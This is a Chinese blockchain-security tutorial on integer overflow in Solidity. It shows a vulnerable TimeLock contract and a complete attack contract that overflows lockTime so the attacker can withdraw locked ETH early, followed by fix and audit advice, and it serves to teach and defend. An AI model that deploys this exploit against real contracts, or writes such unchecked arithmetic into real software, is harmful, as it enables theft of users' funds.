【区块链安全 | 第三十五篇】溢出漏洞

文章目录

    • 溢出
    • 上溢示例
    • 溢出漏洞
    • 溢出示例
    • 漏洞代码
    • 代码审计
      • 1. deposit 函数
      • 2. increaseLockTime 函数
    • 攻击代码
    • 攻击过程总结
    • 修复建议
    • 审计思路

在这里插入图片描述

溢出

算术溢出(Arithmetic Overflow),简称溢出(Overflow),通常分为两类:上溢下溢

  • 上溢是指在进行数值计算时,结果超过了变量所能表示的最大值。例如,在 Solidity 中,uint8 类型的取值范围为 0 到 255(共 256 个整数)。当我们执行 uint8(255 + 1) 时,结果将出现上溢,最终值为 0,也就是该类型的最小值。

  • 下溢则相反,是指结果小于变量所能表示的最小值。例如,uint8(0 - 1) 会产生下溢,计算结果会变为 255,即 uint8 类型的最大值。

上溢示例

在 C 语言中,unsigned char 最大是 255。

现在我们构造上溢代码:

#include <stdio.h>
int main() {unsigned char x = 255;printf("%d\n", x);x = x + 1;printf("%d", x);
}

可以看到,255 + 1 → 超出范围 → 回绕为 0:

在这里插入图片描述

溢出漏洞

溢出漏洞是指在智能合约中,因数值计算发生溢出而导致逻辑错误的问题。

如果一个合约存在溢出漏洞,可能会使实际的计算结果与预期结果产生巨大偏差,轻则影响合约逻辑的正确执行,重则可能造成资金丢失。

需要注意的是,溢出漏洞具有版本限制。在 Solidity 0.8 之前的版本,编译器不会对溢出行为进行检查,也不会报错,容易被攻击者利用。而从 Solidity 0.8 及以上版本 开始,编译器默认会在发生溢出或下溢时抛出异常,防止此类问题。因此,当我们审计或分析 低于 0.8 版本 的合约时,需要特别注意其是否存在溢出风险。

溢出示例

溢出代码如下所示:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;contract OverflowDemo {uint8 public number = 255;function add() public {// 在 Solidity 0.8.0 及以上版本中,编译器会自动进行溢出检查// 使用 unchecked 关键字可以显式关闭这一检查,从而允许溢出行为发生unchecked {number = number + 1; // 溢出:结果变成 0}}
}

在代码中,我们规定 number 是一个 uint8 类型的变量,最大值为 255。

理论上分析:当执行 add() 函数时,number + 1 的结果超出了 uint8 的上限,会发生上溢,结果变为 0。

下面通过 https://remix.ethereum.org/ 在线运行以上代码来展示溢出:

1.打开 Remix IDE
进入网址:https://remix.ethereum.org/

2.新建一个文件
在左侧文件管理器中,创建一个新文件,例如命名为 OverflowDemo.sol。

3.复制并粘贴代码到文件中

在这里插入图片描述

4.编译合约
在左侧点击「Solidity 编译器」图标,在 “Compiler Version” 下拉框中选择 0.8.29。

点击 “Compile OverflowDemo.sol”(编译)按钮。

在这里插入图片描述

5.部署合约
编译成功后,点击左侧的「部署与运行交易」(Ethereum 图标);Environment 保持默认的 JavaScript VM;再点击 “Deploy” 按钮。

在这里插入图片描述

如图,控制台显示部署成功:

在这里插入图片描述

6.调用函数并观察结果
展开下方已部署的合约实例(灰色条):

在这里插入图片描述

点击 number() 查看当前数值,为 255:

在这里插入图片描述

点击 add() 来执行加法操作:

在这里插入图片描述

再次点击 number(),结果变成了 0,说明发生了上溢:

在这里插入图片描述

漏洞代码

现有一 TimeLock 合约代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;contract TimeLock {// 存储每个用户的以太币余额mapping(address => uint) public balances;// 存储每个用户的锁仓时间(解锁时间戳)mapping(address => uint) public lockTime;// 用户充值函数,同时设置锁仓时间为当前时间 + 1 周function deposit() external payable {balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks;}// 用户可以增加自己的锁仓时间function increaseLockTime(uint _secondsToIncrease) public {lockTime[msg.sender] += _secondsToIncrease;}// 提现函数,要求用户有余额且已过锁仓期function withdraw() public {require(balances[msg.sender] > 0, "Insufficient funds"); // 确保有余额require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); // 确保锁仓期已过uint amount = balances[msg.sender];balances[msg.sender] = 0;// 使用 call 方式发送以太币(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Failed to send Ether");}
}

代码审计

该 TimeLock 合约的设计初衷是实现一个简单的时间锁功能:用户可以通过 deposit 函数向合约存入 ETH,并触发锁定机制,锁定期为一周。用户也可以通过 increaseLockTime 函数延长锁定时间。而用户在锁定期内是无法提取资金的,必须等待锁定时间结束后,才可调用 withdraw 函数提取存款。

我们可以注意到该合约编译器版本为 ^0.7.6,而在 Solidity 0.8.0 之前,算术运算并不会自动进行溢出检查。因此,该合约中涉及到的加法操作可能存在整数溢出漏洞。

我们重点分析以下两个存在加法操作的函数。

1. deposit 函数

balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;

balances[msg.sender] += msg.value这行代码中,攻击者可以传入大量 msg.value,在极端情况下可能导致 balances 值溢出。不过,要实现 uint256 类型的溢出,攻击者必须存入接近 2^256 的 ETH,这是不现实的。因此此处虽存在理论上的溢出可能,但在实际攻击中不具备可行性。

lockTime[msg.sender] = block.timestamp + 1 weeks这里的加法操作中的值是固定的一周(604800 秒),不可控,因此攻击者无法操控其造成溢出。

你可能会问:“如果我每次存入 1 个以太币,锁仓时间就增加一周,那我反复存很多次,会不会最终导致时间溢出呢?”

实际上这是不可能发生的。原因是:通过计算,要触发整数溢出,需要存入的次数高达 10⁷¹ 级别,对应的以太币数量远远超过当前整个以太坊网络的 ETH 总供应量(约 1.2 亿个 ETH)。这在现实中根本无法实现。

2. increaseLockTime 函数

lockTime[msg.sender] += _secondsToIncrease;

这是整个合约的关键漏洞点。

_secondsToIncrease 参数是由用户传入的,完全可控。该参数与当前的 lockTime 相加,而没有进行溢出检查。

如果攻击者传入一个非常大的值,使得结果超过 uint256 的上限,就会发生溢出,从而使 lockTime[msg.sender] 被绕回非常小的值甚至为 0。这样,攻击者可以绕过时间锁限制,立即调用 withdraw 提现函数,提前取出本应锁定的资金。

攻击代码

通过以上思路,可构造恶意攻击代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;// 攻击合约
contract Attack {TimeLock timeLock;// 构造函数,接收目标 TimeLock 合约的地址constructor(TimeLock _timeLock) {timeLock = TimeLock(_timeLock);}// fallback 函数,用于接收从 TimeLock 合约提取的 ETHfallback() external payable {}// 攻击函数function attack() public payable {// 第一步:调用 TimeLock 的 deposit 函数,存入 ETH 并初始化 lockTimetimeLock.deposit{value: msg.value}();/*第二步:利用 increaseLockTime 函数中的整数溢出漏洞- 获取当前合约的 lockTime 值- 构造:type(uint).max + 1 - 当前 lockTime在 uint256 下:type(uint).max + 1 = 2^256 -1 + 1 = 2^256 ≡ 0 (发生溢出)因此相加后结果为 0,从而绕过时间锁限制*/timeLock.increaseLockTime(type(uint).max + 1 - timeLock.lockTime(address(this)));// 第三步:绕过锁定时间限制,立即提取 ETHtimeLock.withdraw();}
}

流程:

lockTime[msg.sender] (锁仓时间)
=
lockTime[msg.sender] + type(uint).max + 1 - lockTime[msg.sender]
= 
lockTime[msg.sender] + (2^256 - lockTime[msg.sender])
= 
2^256 
≡ 
0 (mod 2^256)

block.timestamp > lockTime[msg.sender]用于判断当前区块的时间戳(即当前时间)是否大于该用户的锁定时间,于是我们通过了安全检查,成功实现立即提现。

攻击过程总结

1.部署 TimeLock 合约

2.部署 Attack 合约

3.在 Attack 合约的构造函数中传入已部署的 TimeLock 合约地址,完成初始化。

4.调用 Attack.attack 函数
在attack函数中,首先调用 TimeLock.deposit 向合约中存入 1 个以太币(或任意数量的 ETH)。此时,TimeLock 会将该 ETH 锁定一周,即设置 lockTime[msg.sender] = block.timestamp + 1 weeks。

5.接着,攻击合约调用 TimeLock.increaseLockTime,传入参数:

type(uint).max + 1 - lockTime[address(this)]

即:2^256 - lockTime[address(this)]。由于 Solidity 0.7.6 不会自动检测整数溢出,此操作将使 lockTime 字段发生上溢,计算结果变为 2^256 ≡ 0(模 2^256)。

6.此时 lockTime[msg.sender] 已被重置为 0,意味着锁定时间等于区块时间戳起点(1970 年)。因此,接下来执行的:

require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

判断将始终成立,成功绕过锁仓限制。

7.调用 TimeLock.withdraw,合约允许提款条件被满足,攻击者立即取出刚才存入的 ETH,实现提前解锁提现,绕过了一周的锁定期。

8.如果配合 DeFi 中的价格波动、奖励计算(如利息、奖励分配机制),攻击者甚至可以在锁仓状态下提前领取奖励、套利。

修复建议

1.编写 Solidity < 0.8 的合约时使用 SafeMath 库
在 0.8 之前版本中,Solidity 不会自动检查整数溢出,因此推荐引入 OpenZeppelin 提供的 SafeMath 库,替代原始的 + - * 等操作符,避免常见的加减乘除溢出问题。

2.优先使用 Solidity 0.8 及以上版本
从 0.8 起,Solidity 内置了溢出检查机制(默认开启),大大提高了数值安全性。但需要注意,如果使用了 unchecked 代码块,则会跳过溢出检查。

3.谨慎进行类型强制转换
将较大的数值类型(如 uint256)强制转换为较小的类型(如 uint8、uint32)时,若数值超出目标类型的范围,会自动截断(mod 运算),从而产生溢出风险。因此类型转换前应始终进行显式的边界检查。

审计思路

1.检查编译器版本和 unchecked 使用情况
若发现合约使用的是 Solidity 0.8 以下版本,则默认存在溢出风险,需重点审查所有算术运算;在 Solidity 0.8 及以上版本中,若出现 unchecked 代码块,也需检查其内部的算术操作,判断是否存在隐患。

2.确认 Solidity < 0.8 的合约是否使用了 SafeMath
如果合约在低版本中引入了 SafeMath,说明开发者有防溢出意识;但仍需检查所有运算是否都使用了 SafeMath 封装,避免遗漏。

3.注意类型转换隐患
合约中若存在 uint256 转 uint8、int 转 uint 等类型强制转换操作,应详细检查边界值,避免数值截断引发溢出或逻辑漏洞。

4.实际审计中应结合调用逻辑、传入参数范围以及合约业务场景综合分析。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/77039.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

百度的deepseek与硅基模型的差距。

问题&#xff1a; 已经下载速度8兆每秒&#xff0c;请问下载30G的文件需要多长时间&#xff1f; 关于这个问题。百度的回答如下&#xff1a; ‌30GB文件下载时间计算‌ ‌理论计算‌&#xff08;基于十进制单位&#xff09;&#xff1a; ‌单位换算‌ 文件大小&#xff1a;3…

车载诊断架构 --- 特殊定义NRC处理原理

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 周末洗了一个澡,换了一身衣服,出了门却不知道去哪儿,不知道去找谁,漫无目的走着,大概这就是成年人最深的孤独吧! 旧人不知我近况,新人不知我过…

面试题ing

1、js中set和map的作用和区别? 在 JavaScript 中&#xff0c;Set 和 Map 是两种非常重要的集合类型 1、Set 是一种集合数据结构&#xff0c;用于存储唯一值。它类似于数组&#xff0c;但成员的值都是唯一的&#xff0c;没有重复的值。Set 中的值只能是唯一的&#xff0c;任何…

Python爬虫第6节-requests库的基本用法

目录 前言 一、准备工作 二、实例引入 三、GET请求 3.1 基本示例 3.2 抓取网页 3.3 抓取二进制数据 3.4 添加headers 四、POST请求 五、响应 前言 前面我们学习了urllib的基础使用方法。不过&#xff0c;urllib在实际应用中存在一些不便之处。以网页验证和Cookies处理…

Go 学习笔记 · 进阶篇 · 第一天:接口与多态

&#x1f436;Go接口与多态&#xff1a;继承没了&#xff0c;但自由炸裂&#xff01; 最近翻 Go 的代码&#xff0c;突然看到这么一段&#xff1a; type Animal interface {Speak() string }我一愣&#xff0c;咦&#xff1f;这不就是 Java 里常见的“接口”吗&#xff1f; …

信息学奥赛一本通 1929:【04NOIP普及组】火星人 | 洛谷 P1088 [NOIP 2004 普及组] 火星人

【题目链接】 ybt 1929&#xff1a;【04NOIP普及组】火星人 洛谷 P1088 [NOIP 2004 普及组] 火星人 【题目考点】 1. 深搜回溯 2. STL next_permutation函数 头文件<algorithm> 函数定义&#xff1a;next_permutation(lb, ub, cmp) lb&#xff1a;区间下界&#xff…

借助 AI 工具使用 Python 实现北京市店铺分布地理信息可视化教程

一、项目概述 本项目通过 Python 的pyecharts库&#xff0c;结合 AI 工具辅助代码编写与逻辑梳理&#xff0c;实现北京市店铺数量分布及区域连线的地理信息可视化&#xff0c;最终生成交互式地图图表。 二、准备工作 1. 环境与工具 Python 环境&#xff1a;确保已安装 Pyth…

Python项目打包指南:PyInstaller与SeleniumWire的兼容性挑战及解决方案

前言 前段时间做一个内网开发的需求&#xff0c;要求将selenium程序打包成.exe放在内网的win7上运行&#xff0c;在掘金搜了一圈也没有发现相关文章&#xff0c;因此将过程中踩到的坑记录分享一下。 本文涵盖了具体打包操作、不同模块和依赖项的兼容性解决方案&#xff0c;以…

(一)栈结构、队列结构

01-线性结构-数组-栈结构 线性结构&#xff08;Linear List)是由n&#xff08;n>0)个数据元素&#xff08;结点&#xff09; a[0], a[1], a[2], a[3],...,a[n-1]组成的有限序列 数组 通常数组的内存是连续的&#xff0c;所以在知道数组下标的情况下&#xff0c;访问效率是…

【学Rust写CAD】35 alpha_mul_256(alpha256.rs补充方法)

源码 // Calculates (value * alpha256) / 255 in range [0,256], // for [0,255] value and [0,256] alpha256. pub fn alpha_mul_256(self,value: u32) -> Alpha256 {let prod value * self.0;Alpha256((prod (prod >> 8)) >> 8) }代码分析 这个函数 alph…

C# 与 相机连接

一、通过组件连接相机 需要提前在VisionPro里面保存一个CogAcqFifoTool相机工具为 .vpp 定义一个相机工具 CogAcqFifoTool mAcq null;将保存的相机工具放入mAcq中 string path “C:\Acq.vpp”; mAcq (CogAcqFifoTool)CogSerializer.LoadObjectFrommFile(path);给窗口相机…

Java并发编程高频面试题

一、基础概念 1. 并行与并发的区别&#xff1f; 并行&#xff1a;多个任务在多个CPU核心上同时执行&#xff08;物理上同时&#xff09;。并发&#xff1a;多个任务在单CPU核心上交替执行&#xff08;逻辑上同时&#xff09;。类比&#xff1a;并行是多个窗口同时服务&#x…

LiT and Lean: Distilling Listwise Rerankers intoEncoder-Decoder Models

文章&#xff1a;ECIR 2025会议 一、动机 背景&#xff1a;利用LLMs强大的能力&#xff0c;将一个查询&#xff08;query&#xff09;和一组候选段落作为输入&#xff0c;整体考虑这些段落的相关性&#xff0c;并对它们进行排序。 先前的研究基础上进行扩展 [14,15]&#xff0c…

Python高级爬虫之JS逆向+安卓逆向1.2节: 变量与对象

目录 引言&#xff1a; 1.2.1 Python中的变量 1.2.2 变量的命名与可读性 1.2.3 Python中的对象 1.2.4 跟大神学高级爬虫安卓逆向 引言&#xff1a; 大神薯条老师的高级爬虫安卓逆向教程&#xff1a; 这套爬虫教程会系统讲解爬虫的初级&#xff0c;中级&#xff0c;高级知…

可发1区的超级创新思路(python 实现):一种轻量化的动态稀疏门控网络

首先声明,该模型为原创!原创!原创!且该思路还未有成果发表,感兴趣的小伙伴可以借鉴! 一、应用领域 视频异常检测、生成视频检测。 二、模型解析 该模型由1.关键帧动态选择机制、2.关键帧动态选择机制以及3.关键帧动态选择机制三大核心组件构成,形成端到端的视频异常…

使用NVM下载Node.js管理多版本

提示&#xff1a;我解决这个bug跟别人思路可能不太一样&#xff0c;因为我是之前好用&#xff0c;换个项目就不好使了&#xff0c;倦了 文章目录 前言项目场景一项目场景二解决方案&#xff1a;下载 nvm安装 nvm重新下载所需Node 版本nvm常用命令 项目结构说明 前言 提示&…

MySQL数据库经典面试题解析

1. MySQL 索引使用有哪些注意事项呢? 可以从三个维度回答这个问题:索引哪些情况会失效,索引不适合哪些场景,索引规则 索引哪些情况会失效 查询条件包含or,可能导致索引失效如何字段类型是字符串,where时一定用引号括起来,否则索引失效like通配符可能导致索引失效。联合…

C#结合SQLite数据库使用方法

一、关于SQLite SQLite 是一个轻量级的嵌入式关系型数据库管理系统&#xff08;RDBMS&#xff09;。与传统的数据库管理系统&#xff08;如 MySQL、PostgreSQL 或 SQL Server&#xff09;不同&#xff0c;SQLite 并不需要运行单独的服务器进程&#xff0c;它的数据库存储在一个…

深入解析 MySQL 中的日期时间函数:DATE_FORMAT 与时间查询优化

深入解析 MySQL 中的日期时间函数&#xff1a;DATE_FORMAT 与时间查询优化 在数据库管理和应用开发中&#xff0c;日期和时间的处理是不可或缺的一部分。MySQL 提供了多种日期和时间函数来满足不同的需求&#xff0c;其中DATE_FORMAT函数以其强大的日期格式化能力&#xff0c;…

如何深刻理解Reactor和Proactor

前言&#xff1a; 网络框架的设计离不开 I/O 线程模型&#xff0c;线程模型的优劣直接决定了系统的吞吐量、可扩展性、安全性等。目前主流的网络框架&#xff0c;在网络 IO 处理层面几乎都采用了I/O 多路复用方案(又以epoll为主)&#xff0c;这是服务端应对高并发的性能利器。 …